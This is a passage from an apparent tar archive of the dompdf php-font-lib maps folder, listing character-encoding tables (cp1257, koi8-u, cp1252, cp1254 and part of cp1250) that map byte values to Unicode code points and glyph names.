!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+00A1 exclamdown
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+00A4 currency
!A5 U+00A5 yen
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AA U+00AA ordfeminine
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+00B8 cedilla
!B9 U+00B9 onesuperior
!BA U+00BA ordmasculine
!BB U+00BB guillemotright
!BC U+00BC onequarter
!BD U+00BD onehalf
!BE U+00BE threequarters
!BF U+00BF questiondown
!C0 U+00C0 Agrave
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+00C3 Atilde
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+00C6 AE
!C7 U+00C7 Ccedilla
!C8 U+00C8 Egrave
!C9 U+00C9 Eacute
!CA U+00CA Ecircumflex
!CB U+00CB Edieresis
!CC U+00CC Igrave
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+00CF Idieresis
!D0 U+00D0 Eth
!D1 U+00D1 Ntilde
!D2 U+00D2 Ograve
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+00D5 Otilde
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+00D8 Oslash
!D9 U+00D9 Ugrave
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+00DD Yacute
!DE U+00DE Thorn
!DF U+00DF germandbls
!E0 U+00E0 agrave
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+00E3 atilde
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+00E6 ae
!E7 U+00E7 ccedilla
!E8 U+00E8 egrave
!E9 U+00E9 eacute
!EA U+00EA ecircumflex
!EB U+00EB edieresis
!EC U+00EC igrave
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+00EF idieresis
!F0 U+00F0 eth
!F1 U+00F1 ntilde
!F2 U+00F2 ograve
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+00F5 otilde
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+00F8 oslash
!F9 U+00F9 ugrave
!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+00FD yacute
!FE U+00FE thorn
!FF U+00FF ydieresis
vendor/dompdf/php-font-lib/maps/cp1257.map000066600000011106151150442750014200 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!82 U+201A quotesinglbase
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!89 U+2030 perthousand
!8B U+2039 guilsinglleft
!8D U+00A8 dieresis
!8E U+02C7 caron
!8F U+00B8 cedilla
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!99 U+2122 trademark
!9B U+203A guilsinglright
!9D U+00AF macron
!9E U+02DB ogonek
!A0 U+00A0 space
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+00A4 currency
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00D8 Oslash
!A9 U+00A9 copyright
!AA U+0156 Rcommaaccent
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+00C6 AE
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+00F8 oslash
!B9 U+00B9 onesuperior
!BA U+0157 rcommaaccent
!BB U+00BB guillemotright
!BC U+00BC onequarter
!BD U+00BD onehalf
!BE U+00BE threequarters
!BF U+00E6 ae
!C0 U+0104 Aogonek
!C1 U+012E Iogonek
!C2 U+0100 Amacron
!C3 U+0106 Cacute
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+0118 Eogonek
!C7 U+0112 Emacron
!C8 U+010C Ccaron
!C9 U+00C9 Eacute
!CA U+0179 Zacute
!CB U+0116 Edotaccent
!CC U+0122 Gcommaaccent
!CD U+0136 Kcommaaccent
!CE U+012A Imacron
!CF U+013B Lcommaaccent
!D0 U+0160 Scaron
!D1 U+0143 Nacute
!D2 U+0145 Ncommaaccent
!D3 U+00D3 Oacute
!D4 U+014C Omacron
!D5 U+00D5 Otilde
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+0172 Uogonek
!D9 U+0141 Lslash
!DA U+015A Sacute
!DB U+016A Umacron
!DC U+00DC Udieresis
!DD U+017B Zdotaccent
!DE U+017D Zcaron
!DF U+00DF germandbls
!E0 U+0105 aogonek
!E1 U+012F iogonek
!E2 U+0101 amacron
!E3 U+0107 cacute
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+0119 eogonek
!E7 U+0113 emacron
!E8 U+010D ccaron
!E9 U+00E9 eacute
!EA U+017A zacute
!EB U+0117 edotaccent
!EC U+0123 gcommaaccent
!ED U+0137 kcommaaccent
!EE U+012B imacron
!EF U+013C lcommaaccent
!F0 U+0161 scaron
!F1 U+0144 nacute
!F2 U+0146 ncommaaccent
!F3 U+00F3 oacute
!F4 U+014D omacron
!F5 U+00F5 otilde
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+0173 uogonek
!F9 U+0142 lslash
!FA U+015B sacute
!FB U+016B umacron
!FC U+00FC udieresis
!FD U+017C zdotaccent
!FE U+017E zcaron
!FF U+02D9 dotaccent
vendor/dompdf/php-font-lib/maps/koi8-u.map000066600000011603151150442750014375 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+2500 SF100000
!81 U+2502 SF110000
!82 U+250C SF010000
!83 U+2510 SF030000
!84 U+2514 SF020000
!85 U+2518 SF040000
!86 U+251C SF080000
!87 U+2524 SF090000
!88 U+252C SF060000
!89 U+2534 SF070000
!8A U+253C SF050000
!8B U+2580 upblock
!8C U+2584 dnblock
!8D U+2588 block
!8E U+258C lfblock
!8F U+2590 rtblock
!90 U+2591 ltshade
!91 U+2592 shade
!92 U+2593 dkshade
!93 U+2320 integraltp
!94 U+25A0 filledbox
!95 U+2022 bullet
!96 U+221A radical
!97 U+2248 approxequal
!98 U+2264 lessequal
!99 U+2265 greaterequal
!9A U+00A0 space
!9B U+2321 integralbt
!9C U+00B0 degree
!9D U+00B2 twosuperior
!9E U+00B7 periodcentered
!9F U+00F7 divide
!A0 U+2550 SF430000
!A1 U+2551 SF240000
!A2 U+2552 SF510000
!A3 U+0451 afii10071
!A4 U+0454 afii10101
!A5 U+2554 SF390000
!A6 U+0456 afii10103
!A7 U+0457 afii10104
!A8 U+2557 SF250000
!A9 U+2558 SF500000
!AA U+2559 SF490000
!AB U+255A SF380000
!AC U+255B SF280000
!AD U+0491 afii10098
!AE U+255D SF260000
!AF U+255E SF360000
!B0 U+255F SF370000
!B1 U+2560 SF420000
!B2 U+2561 SF190000
!B3 U+0401 afii10023
!B4 U+0404 afii10053
!B5 U+2563 SF230000
!B6 U+0406 afii10055
!B7 U+0407 afii10056
!B8 U+2566 SF410000
!B9 U+2567 SF450000
!BA U+2568 SF460000
!BB U+2569 SF400000
!BC U+256A SF540000
!BD U+0490 afii10050
!BE U+256C SF440000
!BF U+00A9 copyright
!C0 U+044E afii10096
!C1 U+0430 afii10065
!C2 U+0431 afii10066
!C3 U+0446 afii10088
!C4 U+0434 afii10069
!C5 U+0435 afii10070
!C6 U+0444 afii10086
!C7 U+0433 afii10068
!C8 U+0445 afii10087
!C9 U+0438 afii10074
!CA U+0439 afii10075
!CB U+043A afii10076
!CC U+043B afii10077
!CD U+043C afii10078
!CE U+043D afii10079
!CF U+043E afii10080
!D0 U+043F afii10081
!D1 U+044F afii10097
!D2 U+0440 afii10082
!D3 U+0441 afii10083
!D4 U+0442 afii10084
!D5 U+0443 afii10085
!D6 U+0436 afii10072
!D7 U+0432 afii10067
!D8 U+044C afii10094
!D9 U+044B afii10093
!DA U+0437 afii10073
!DB U+0448 afii10090
!DC U+044D afii10095
!DD U+0449 afii10091
!DE U+0447 afii10089
!DF U+044A afii10092
!E0 U+042E afii10048
!E1 U+0410 afii10017
!E2 U+0411 afii10018
!E3 U+0426 afii10040
!E4 U+0414 afii10021
!E5 U+0415 afii10022
!E6 U+0424 afii10038
!E7 U+0413 afii10020
!E8 U+0425 afii10039
!E9 U+0418 afii10026
!EA U+0419 afii10027
!EB U+041A afii10028
!EC U+041B afii10029
!ED U+041C afii10030
!EE U+041D afii10031
!EF U+041E afii10032
!F0 U+041F afii10033
!F1 U+042F afii10049
!F2 U+0420 afii10034
!F3 U+0421 afii10035
!F4 U+0422 afii10036
!F5 U+0423 afii10037
!F6 U+0416 afii10024
!F7 U+0412 afii10019
!F8 U+042C afii10046
!F9 U+042B afii10045
!FA U+0417 afii10025
!FB U+0428 afii10042
!FC U+042D afii10047
!FD U+0429 afii10043
!FE U+0427 afii10041
!FF U+042A afii10044
vendor/dompdf/php-font-lib/maps/cp1252.map000066600000011270151150442750014175 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!82 U+201A quotesinglbase
!83 U+0192 florin
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!88 U+02C6 circumflex
!89 U+2030 perthousand
!8A U+0160 Scaron
!8B U+2039 guilsinglleft
!8C U+0152 OE
!8E U+017D Zcaron
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!98 U+02DC tilde
!99 U+2122 trademark
!9A U+0161 scaron
!9B U+203A guilsinglright
!9C U+0153 oe
!9E U+017E zcaron
!9F U+0178 Ydieresis
!A0 U+00A0 space
!A1 U+00A1 exclamdown
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+00A4 currency
!A5 U+00A5 yen
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AA U+00AA ordfeminine
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+00B8 cedilla
!B9 U+00B9 onesuperior
!BA U+00BA ordmasculine
!BB U+00BB guillemotright
!BC U+00BC onequarter
!BD U+00BD onehalf
!BE U+00BE threequarters
!BF U+00BF questiondown
!C0 U+00C0 Agrave
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+00C3 Atilde
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+00C6 AE
!C7 U+00C7 Ccedilla
!C8 U+00C8 Egrave
!C9 U+00C9 Eacute
!CA U+00CA Ecircumflex
!CB U+00CB Edieresis
!CC U+00CC Igrave
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+00CF Idieresis
!D0 U+00D0 Eth
!D1 U+00D1 Ntilde
!D2 U+00D2 Ograve
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+00D5 Otilde
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+00D8 Oslash
!D9 U+00D9 Ugrave
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+00DD Yacute
!DE U+00DE Thorn
!DF U+00DF germandbls
!E0 U+00E0 agrave
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+00E3 atilde
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+00E6 ae
!E7 U+00E7 ccedilla
!E8 U+00E8 egrave
!E9 U+00E9 eacute
!EA U+00EA ecircumflex
!EB U+00EB edieresis
!EC U+00EC igrave
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+00EF idieresis
!F0 U+00F0 eth
!F1 U+00F1 ntilde
!F2 U+00F2 ograve
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+00F5 otilde
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+00F8 oslash
!F9 U+00F9 ugrave
!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+00FD yacute
!FE U+00FE thorn
!FF U+00FF ydieresis
vendor/dompdf/php-font-lib/maps/cp1254.map000066600000011244151150442750014200 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!82 U+201A quotesinglbase
!83 U+0192 florin
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!88 U+02C6 circumflex
!89 U+2030 perthousand
!8A U+0160 Scaron
!8B U+2039 guilsinglleft
!8C U+0152 OE
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!98 U+02DC tilde
!99 U+2122 trademark
!9A U+0161 scaron
!9B U+203A guilsinglright
!9C U+0153 oe
!9F U+0178 Ydieresis
!A0 U+00A0 space
!A1 U+00A1 exclamdown
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+00A4 currency
!A5 U+00A5 yen
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AA U+00AA ordfeminine
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+00B8 cedilla
!B9 U+00B9 onesuperior
!BA U+00BA ordmasculine
!BB U+00BB guillemotright
!BC U+00BC onequarter
!BD U+00BD onehalf
!BE U+00BE threequarters
!BF U+00BF questiondown
!C0 U+00C0 Agrave
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+00C3 Atilde
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+00C6 AE
!C7 U+00C7 Ccedilla
!C8 U+00C8 Egrave
!C9 U+00C9 Eacute
!CA U+00CA Ecircumflex
!CB U+00CB Edieresis
!CC U+00CC Igrave
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+00CF Idieresis
!D0 U+011E Gbreve
!D1 U+00D1 Ntilde
!D2 U+00D2 Ograve
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+00D5 Otilde
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+00D8 Oslash
!D9 U+00D9 Ugrave
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+0130 Idotaccent
!DE U+015E Scedilla
!DF U+00DF germandbls
!E0 U+00E0 agrave
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+00E3 atilde
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+00E6 ae
!E7 U+00E7 ccedilla
!E8 U+00E8 egrave
!E9 U+00E9 eacute
!EA U+00EA ecircumflex
!EB U+00EB edieresis
!EC U+00EC igrave
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+00EF idieresis
!F0 U+011F gbreve
!F1 U+00F1 ntilde
!F2 U+00F2 ograve
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+00F5 otilde
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+00F8 oslash
!F9 U+00F9 ugrave
!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+0131 dotlessi
!FE U+015F scedilla
!FF U+00FF ydieresis
vendor/dompdf/php-font-lib/maps/cp1250.map000066600000011275151150442750014200 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
